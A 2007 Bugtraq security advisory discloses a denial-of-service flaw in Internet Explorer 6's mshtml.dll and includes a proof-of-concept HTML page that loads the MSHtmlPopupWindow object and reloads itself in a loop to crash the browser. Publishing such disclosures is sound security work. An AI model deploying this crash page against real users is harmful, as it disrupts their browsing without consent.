bugtraq - IE 6/Microsoft Html Popup Window (mshtml.dll) DoS

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Date: 6 Jun 2007 12:40:10 -0000
From: no-reply@...samx.net
To: bugtraq@...urityfocus.com
Subject: IE 6/Microsoft Html Popup Window (mshtml.dll) DoS

IE 6/Microsoft Html Popup Window (mshtml.dll) DoS
Affected Software : MS Internet Explorer 6.x

Overview:
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An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer version 6(.x) .


PoC (HTML)
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  <!--  
  [~] IE 6 / Microsoft Html Popup Window DoS (mshtml.dll 6.00.2900.2180)
  [~] Tested on windows XP sp2 , IE 6
  [!] Hessam-x / www.Hessamx.net
  -->
<HTML>
<object classid='clsid:3050f667-98b5-11cf-bb82-00aa00bdce0b' id='MSHtmlPopupWindow' /></object>
<META HTTP-EQUIV="Refresh" CONTENT="5;URL=?">
<BODY onLoad=window.setTimeout("location.href='?'",1)>
<center> IE6 / MS Html Popup Window Crash !</center>
<center>Hessamx</center>
</HTML>

Credit
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Discovered By Hessam Salehi (Hessamx)
Simorgh Security Team / www.simorgh-ev.org